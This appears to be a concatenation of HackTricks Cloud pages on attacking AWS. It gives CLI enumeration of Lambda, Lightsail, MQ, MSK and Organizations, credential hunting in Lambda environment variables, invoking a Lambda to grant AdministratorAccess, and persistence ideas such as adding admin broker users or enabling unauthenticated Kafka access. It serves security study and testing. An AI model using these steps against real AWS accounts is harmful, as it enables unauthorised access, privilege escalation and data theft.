<figure><img src="https://lh3.googleusercontent.com/Su0JlR0wBqb-99Z4N_2-_kMlX0Xzx2n_GpZuOPW5IeXR3FYbm8OHFDM3Ora1BpXiSjHpDVUlq4yEyXwaI3nBuze6DJ-wRf2ATsCuWbq0wuBCd34E9uIpqwheE6Cc_PopviI_93O_j2ZKXc1-AJtsBoLVUw=s2048" alt=""><figcaption></figcaption></figure>
### Lambda Database Proxies
When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\
Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation.
### Lambda EFS Filesystems
To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it.
### Lambda Layers
A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
### Lambda Extensions
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
* **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
* **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
### Enumeration
```bash
aws lambda get-account-settings
# List functions and get extra config info
aws lambda list-functions
aws lambda get-function --function-name <function_name>
aws lambda get-function-configuration --function-name <function_name>
aws lambda list-function-event-invoke-configs --function-name <function_name>
## Check for creds in env vars
aws lambda list-functions | jq '.Functions[].Environment'
## Download & check the source code
aws lambda get-function --function-name "<func_name>" --query 'Code.Location'
wget -O lambda-function.zip <url-from-previous-query>
# Get Lambda URL (if any)
aws lambda list-function-url-configs --function-name <function_name>
aws lambda get-function-url-config --function-name <function_name>
# Get who has permissions to invoke the Lambda
aws lambda get-policy --function-name <function_name>
# Versions and Aliases
aws lambda list-versions-by-function --function-name <func_name>
aws lambda list-aliases --function-name <func_name>
# List layers
aws lambda list-layers
aws lambda list-layer-versions --layer-name <name>
aws lambda get-layer-version --layer-name <name> --version-number <ver>
aws lambda get-layer-version-by-arn --arn <name> #Get external ARNs
# List other metadata
aws lambda list-event-source-mappings
aws lambda list-code-signing-configs
aws lambda list-functions-by-code-signing-config --code-signing-config-arn <arn>
```
### Invoke a lambda
#### Manual
```bash
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME /tmp/out
## Some functions will expect parameters, they will access them with something like:
## target_policys = event['policy_names']
## user_name = event['user_name']
aws lambda invoke --function-name <name> --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt
```
#### Via exposed URL
```bash
aws lambda list-function-url-configs --function-name <function_name> #Get lambda URL
aws lambda get-function-url-config --function-name <function_name> #Get lambda URL
```
#### Call Lambda function via URL
Now it's time to find out possible lambda functions to execute:
```
aws --region us-west-2 --profile level6 lambda list-functions
```
![](<../../../.gitbook/assets/image (262).png>)
A lambda function called "Level6" is available. Lets find out how to call it:
```bash
aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
```
![](<../../../.gitbook/assets/image (102).png>)
Now, that you know the name and the ID you can get the Name:
```bash
aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
```
![](<../../../.gitbook/assets/image (237).png>)
And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6)
`URL:`**`https://<rest-api-id>.execute-api.<region>.amazonaws.com/<stageName>/<funcName>`**
#### Other Triggers
There are a lot of other sources that can trigger a lambda
<figure><img src="../../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
### Privesc
In the following page you can check how to **abuse Lambda permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-lambda-privesc.md" %}
[aws-lambda-privesc.md](../aws-privilege-escalation/aws-lambda-privesc.md)
{% endcontent-ref %}
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md" %}
[aws-lambda-unauthenticated-access.md](../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-lambda-post-exploitation/" %}
[aws-lambda-post-exploitation](../aws-post-exploitation/aws-lambda-post-exploitation/)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-lambda-persistence/" %}
[aws-lambda-persistence](../aws-persistence/aws-lambda-persistence/)
{% endcontent-ref %}
## References
* [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer)
* [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,85 @@
# AWS - Lightsail Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AWS - Lightsail
Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\
It's a **minimal EC2 + Route53 + ECS**.
### Enumeration
```bash
# Instances
aws lightsail get-instances #Get all
aws lightsail get-instance-port-states --instance-name <instance_name> #Get open ports
# Databases
aws lightsail get-relational-databases
aws lightsail get-relational-database-snapshots
aws lightsail get-relational-database-parameters
# Disk & snapshots
aws lightsail get-instance-snapshots
aws lightsail get-disk-snapshots
aws lightsail get-disks
# More
aws lightsail get-load-balancers
aws lightsail get-static-ips
aws lightsail get-key-pairs
```
### Analyse Snapshots
It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration).
### Metadata
**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS.
### Privesc
{% content-ref url="../aws-privilege-escalation/aws-lightsail-privesc.md" %}
[aws-lightsail-privesc.md](../aws-privilege-escalation/aws-lightsail-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-lightsail-post-exploitation.md" %}
[aws-lightsail-post-exploitation.md](../aws-post-exploitation/aws-lightsail-post-exploitation.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-lightsail-persistence.md" %}
[aws-lightsail-persistence.md](../aws-persistence/aws-lightsail-persistence.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,103 @@
# AWS - MQ Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Amazon MQ
### Introduction to Message Brokers
**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates.
### AWS - RabbitMQ
RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers.
### AWS - ActiveMQ
Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can:
* Connect with clients written in JavaScript, C, C++, Python, .Net, and more.
* Leverage the **AMQP** protocol to integrate applications from different platforms.
* Use **STOMP** over websockets for web application message exchanges.
* Manage IoT devices with **MQTT**.
* Maintain existing **JMS** infrastructure and extend its capabilities.
ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements.
## Enumeration
```bash
# List brokers
aws mq list-brokers
# Get broker info
aws mq describe-broker --broker-id <broker-id>
## Find endpoints in .BrokerInstances
## Find if public accessible in .PubliclyAccessible
# List usernames (only for ActiveMQ)
aws mq list-users --broker-id <broker-id>
# Get user info (PASSWORD NOT INCLUDED)
aws mq describe-user --broker-id <broker-id> --username <username>
# Lits configurations (only for ActiveMQ)
aws mq list-configurations
## Here you can find if simple or LDAP authentication is used
# Creacte Active MQ user
aws mq create-user --broker-id <value> --password <value> --username <value> --console-access
```
{% hint style="warning" %}
TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this)
{% endhint %}
## Privesc
{% content-ref url="../aws-privilege-escalation/aws-mq-privesc.md" %}
[aws-mq-privesc.md](../aws-privilege-escalation/aws-mq-privesc.md)
{% endcontent-ref %}
## Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md" %}
[aws-mq-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
{% endcontent-ref %}
## Persistence
If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges.
## References
* [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html)
* [https://activemq.apache.org/](https://activemq.apache.org/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,125 @@
# AWS - MSK Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Amazon MSK
**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code.
In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka.
### **Types**
There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless.
From the point of view of an attacker you need to know that:
* **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports.
* **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access.
* Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled
### Enumeration
```bash
#Get clusters
aws kafka list-clusters
aws kafka list-clusters-v2
# Check the supported authentication
aws kafka list-clusters | jq -r ".ClusterInfoList[].ClientAuthentication"
# Get Zookeeper endpoints
aws kafka list-clusters | jq -r ".ClusterInfoList[].ZookeeperConnectString, .ClusterInfoList[].ZookeeperConnectStringTls"
# Get nodes and node enspoints
aws kafka kafka list-nodes --cluster-arn <cluster-arn>
aws kafka kafka list-nodes --cluster-arn <cluster-arn> | jq -r ".NodeInfoList[].BrokerNodeInfo.Endpoints" # Get endpoints
# Get used kafka configs
aws kafka list-configurations #Get Kafka config file
aws kafka describe-configuration --arn <config-arn> # Get version of config
aws kafka describe-configuration-revision --arn <config-arn> --revision <version> # Get content of config version
# If using SCRAN authentication, get used AWS secret name (not secret value)
aws kafka list-scram-secrets --cluster-arn <cluster-arn>
```
### Kafka IAM Access (in serverless)
```bash
# Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html
# Download Kafka
wget https://archive.apache.org/dist/kafka/2.8.1/kafka_2.12-2.8.1.tgz
tar -xzf kafka_2.12-2.8.1.tgz
# In kafka_2.12-2.8.1/libs download the MSK IAM JAR file.
cd kafka_2.12-2.8.1/libs
wget https://github.com/aws/aws-msk-iam-auth/releases/download/v1.1.1/aws-msk-iam-auth-1.1.1-all.jar
# Create file client.properties in kafka_2.12-2.8.1/bin
security.protocol=SASL_SSL
sasl.mechanism=AWS_MSK_IAM
sasl.jaas.config=software.amazon.msk.auth.iam.IAMLoginModule required;
sasl.client.callback.handler.class=software.amazon.msk.auth.iam.IAMClientCallbackHandler
# Export endpoints address
export BS=boot-ok2ngypz.c2.kafka-serverless.us-east-1.amazonaws.com:9098
## Make sure you will be able to access the port 9098 from the EC2 instance (check VPS, subnets and SG)
# Create a topic called msk-serverless-tutorial
kafka_2.12-2.8.1/bin/kafka-topics.sh --bootstrap-server $BS --command-config client.properties --create --topic msk-serverless-tutorial --partitions 6
# Send message of every new line
kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.config client.properties --topic msk-serverless-tutorial
# Read messages
kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning
```
### Privesc
{% content-ref url="../aws-privilege-escalation/aws-msk-privesc.md" %}
[aws-msk-privesc.md](../aws-privilege-escalation/aws-msk-privesc.md)
{% endcontent-ref %}
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md" %}
[aws-msk-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
{% endcontent-ref %}
### Persistence
If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**.
## References
* [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,73 @@
# AWS - Organizations Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Baisc Information
AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization.
Key Points:
* **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges.
* **Resource Allocation**: It simplifies the process of allocating resources across the accounts.
* **Account Grouping**: Accounts can be grouped together, making management more streamlined.
* **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization.
You can find more information in:
{% content-ref url="../aws-basic-information/" %}
[aws-basic-information](../aws-basic-information/)
{% endcontent-ref %}
```bash
# Get Org
aws organizations describe-organization
aws organizations list-roots
# Get OUs, from root and from other OUs
aws organizations list-organizational-units-for-parent --parent-id r-lalala
aws organizations list-organizational-units-for-parent --parent-id ou-n8s9-8nzv3a5y
# Get accounts
## List all the accounts without caring about the parent
aws organizations list-accounts
## Accounts from a parent
aws organizations list-accounts-for-parent --parent-id r-lalala
aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y
# Get basic account info
## You need the permission iam:GetAccountSummary
aws iam get-account-summary
```
## References
* https://aws.amazon.com/organizations/
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,50 @@
# AWS - Other Services Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Directconnect
Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network).
```
aws directconnect describe-connections
aws directconnect describe-interconnects
aws directconnect describe-virtual-gateways
aws directconnect describe-virtual-interfaces
```
## Support
In AWS you can access current and previous support cases via the API
```
aws support describe-cases --include-resolved-cases
```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,125 @@
# AWS - Redshift Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Amazon Redshift
Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business.
